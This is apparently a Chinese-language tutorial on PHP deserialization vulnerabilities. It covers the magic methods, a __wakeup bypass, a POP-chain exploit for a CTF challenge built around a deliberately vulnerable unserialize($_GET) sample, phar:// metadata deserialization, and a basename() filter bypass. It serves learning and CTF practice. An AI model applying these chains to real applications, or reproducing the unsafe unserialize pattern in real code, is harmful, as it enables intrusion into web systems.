反序列化漏洞
简介
在了解一些函数之前,我们首先需要了解什么是序列化和反序列化。
序列化:把对象转换为字节序列的过程成为对象的序列化。
反序列化:把字节序列恢复为对象的过程称为对象的反序列化。
归根到底,就是将数据转化成一种可逆的数据结构,逆向的过程就是反序列化。
在 PHP 中主要就是通过serialize
和unserialize
来实现数据的序列化和反序列化。
那么漏洞是如何形成的呢?
PHP 的反序列化漏洞主要是因为未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而就可以导致各种危险行为。
那么我们先来看一看序列化后的数据格式是怎样的,了解了序列化后的数据,我们才能更好的理解和利用漏洞。所以我们来构造一段序列化的值。
代码示例:
<?php
class Ameng{
public $who = "Ameng";
}
$a = serialize(new Ameng);
echo $a;
?>
执行结果——>
O:5:"Ameng":1:{
s:3:"who";s:5:"Ameng";}
关于变量的分类,变量的类别有三种:
- public:正常操作,在反序列化时原型就行。
- protected:反序列化时在变量名前加上%00*%00。
- private:反序列化时在变量名前加上%00类名%00。
序列化我们知道了是个什么格式,那么如何利用反序列化来触发漏洞进行利用呢?
1.__wakeup()
在我们反序列化时,会先检查类中是否存在__wakeup()
如果存在,则执行。但是如果对象属性个数的值大于真实的属性个数时就会跳过__wakeup()
执行__destruct()
。
影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';
function __destruct(){
echo "destruct执行<br>";
echo highlight_file($this->name, true);
}
function __wakeup(){
echo "wakeup执行<br>";
$this->name='1.php';
}
}
$data = 'O:5:"Ameng":2:{s:4:"name";s:5:"2.php";}';
unserialize($data);
?>
2. __sleep()
__sleep()
函数刚好与__waeup()
相反,前者是在序列化一个对象时被调用,后者是在反序列化时被调用。那么该如何利用呢?我们看看代码。
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name='1.php';
public function __construct($name){
$this->name=$name;
}
function __sleep(){
echo "sleep()执行<br>";
echo highlight_file($this->name, true);
}
function __destruct(){
echo "over<br>";
}
function __wakeup(){
echo "wakeup执行<br>";
}
}
$a = new Ameng("2.php");
$b = serialize($a);
?>
3. __destruct()
这个函数的作用其实在上面的例子中已经显示了,就是在对象被销毁时调用,倘若这个函数中有命令执行之类的功能,我们完全可以利用这一点来进行漏洞的利用,得到自己想要的结果。
4. __construct()
这个函数的作用在__sleep()
也是体现了的,这个函数就是在一个对象被创建时会调用这个函数,比如我在__sleep()
中用这个函数来对变量进行赋值。
5. __call()
此函数用来监视一个对象中的其他方法。当你尝试调用一个对象中不存在的或者被权限控制的方法,那么__call
就会被自动调用
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public function __call($name,$args){
echo "<br>"."call执行失败";
}
public static function __callStatic($name,$args){
echo "<br>"."callStatic执行失败";
}
}
$a = new Ameng;
$a->b();
Ameng::b();
?>
6. __callStatic()
这个方法是 PHP5.3 增加的新方法。主要是调用不可见的静态方法时会自动调用。具体使用在上面代码示例和结果可见。那么这两个函数有什么值得我们关注的呢?想一想,倘若这两个函数中有命令执行的函数,那么我们调用对象中不存在方法时就可以调用这两个函数,这不就达到我们想要的目的了。
7. __get()
一般来说,我们总是把类的属性定义为private。但有时候我们对属性的读取和赋值是非常频繁,这个时候PHP就提供了两个函数来获取和赋值类中的属性。
get方法用来获取私有成员属性的值。
代码示例:
//__get()方法用来获取私有属性
public function __get($name){
return $this->$name;
}
参数 #
- $name:要获取成员属性的名称。
8. __set()
此方法用来给私有成员属性赋值。
代码示例:
//__set()方法用来设置私有属性
public function __set($name,$value){
$this->$name = $value;
}
参数
- $name:要赋值的属性名。
- $value:给属性赋值的值。
9. __isset()
这个函数是当我们对不可访问属性调用isset()
或者empty()
时调用。
在这之前我们要先了解一下isset()
函数的使用。isset()
函数检测某个变量是否被设置了。所以这个时候问题就来了,如果我们使用这个函数去检测对象里面的成员是否设定,那么会发生什么呢?
若对象的成员是公有成员,那没什么问题。倘若对象的成员是私有成员,那这个函数就不行了,人家根本就不允许你访问,你咋能检测人家是否设定了呢?那我们该怎么办?这个时候我们可以在类里面加上__isset()
方法,接下来就可以使用isset()
在对象外面访问对象里面的私有成员了。
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;
public function __construct($name=""){
$this->name = $name;
}
public function __isset($content){
echo "当在类外面调用isset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
echo isset($ameng->name);
?>
10. __unset()
这个方法基本和__insset情况一致,都是在类外访问类内私有成员时要调用这个函数,基本调用的方法和上面一致。
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
private $name;
public function __construct($name=""){
$this->name = $name;
}
public function __unset($content){
echo "当在类外面调用unset方法时,那么我就会执行!"."<br>";
echo isset($this->$content);
}
}
$ameng = new Ameng("Ameng");
unset($ameng->name);
?>
11. toString()
此函数是将一个对象当作一个字符串来使用时,就会自动调用该方法,且在该方法中,可以返回一定的字符串,来表示该对象转换为字符串之后的结果。
通常情况下,我们访问类的属性的时候都是$实例化名称->属性名这样的格式去访问,但是我们不能直接echo去输出对象,可是当我们使用__tostring()就可以直接用echo来输出了。
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __toString(){
return $this->name . $this->age . '岁了';
}
}
$ameng = new Ameng('Ameng',3);
echo $ameng;
?>
执行结果:------>Ameng3岁了
12. __invoke()
当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。
版本要求:
PHP > 5.3.0
代码示例:
<?php
header("Content-Type: text/html; charset=utf-8");
class Ameng{
public $name;
private $age;
function __construct($name,$age){
$this->name = $name;
$this->age = $age;
}
public function __invoke(){
echo '你用调用函数的方式调用了这个对象,所以我起作用了';
}
}
$ameng = new Ameng('Ameng',3);
$ameng();
?>
执行结果——>
你用调用函数的方式调用了这个对象,所以我起作用
pop链的构造
思路
- 寻找位点(unserialize函数—>变量可控)
- 正向构造(各种方法)
- 反向推理(从要完成的目的出发,反向推理,最后找到最先被调用的位置处)
来看一个简单的例子(HECTF):
<?php
class Read {
public $var;
public $token;
public $token_flag;
public function __construct() {
$this->token_flag = $this->token = md5(rand(1,10000));
$this->token =&$this->token_flag;
}
public function __invoke(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
echo "flag{**********}";
}
}
}
class Show
{
public $source;
public $str;
public function __construct()
{
echo $this->source."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
我们要拿到flag,在__invoke()
函数,当对象被当作函数调用时,那么就会自动执行该函数。所以我们要做的就是用函数来调用对象。
那么我们首先找到起点,就是unserialize函数的变量,因为这个变量是我们可控的,但是肯定是过滤了一些常见的协议,那些协议我在上面也简单介绍过用法。
通过函数的过程搜索,我们能够看到preg_match第二个参数会被当作字符串处理,在类Test中,我们可以给$func赋值给Read对象。
那么我们可以构造如下pop链
<?php
··········
$read = new Read();
$show = new Show();
$test = new Test();
$read->token = &$read->token_flag;
$test->params = $read;
$show->str['str'] = $test;
$show->source = $show;
echo serialize($show);
?>
总结一下:
phar与反序列化
简介
PHAR(“PHP archive”)是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。
文件结构 #
-
a stub:
xxx<?php xxx;__HALT_COMPILER();?>
前面内容不限,后面必须以__HALT_COMPILER();?>
结尾,否则phar扩展无法将该文件识别为phar文件。 -
官方手册
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
实验
先将php.ini
中的phar.readonly
选项设置为off
,不然无法生成phar文件。
phar.php:
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='Hello I am Ameng';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
在我们访问之后,会在当前目录下生成一个phar.phar文件,如下图所示。
然后查看文件的十六进制形式,我们就可以看到meta-data是以序列化的形式存储。既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://
伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图
Ameng.php
<?php
class TestObject{
function __destruct()
{
echo $this -> data; // TODO: Implement __destruct() method.
}
}
include('phar://phar.phar');
?>
执行结果:
其他一些总结
basename()
此函数返回路径中的文件名的一部分(后面)
basename(path,suffix)
参数
- path:必需。规定要检查的路径。
- suffix:可选。规定文件的扩展名。
代码示例:
<?php
$path = "index.php/test.php";
echo basename($path);
?>
执行结果——>
test.php
此函数还有一个特点,就是会去掉文件名的非ASCII码值。
代码示例:
<?php
$path = $_GET['x'];
print_r(basename($path));
?>
我们通过 url 传入参数x=index.php/config.php/%ff
结果如下:
我们看到,%ff
直接没了,而是直接输出前面的的文件名,这个可以用来绕过一些正则匹配。原因就在于%ff
在通过 url 传参时会被 url 解码,解码成了不可见字符,满足了basename
函数对文件名的非ASCII值去除的特点,从而被删掉。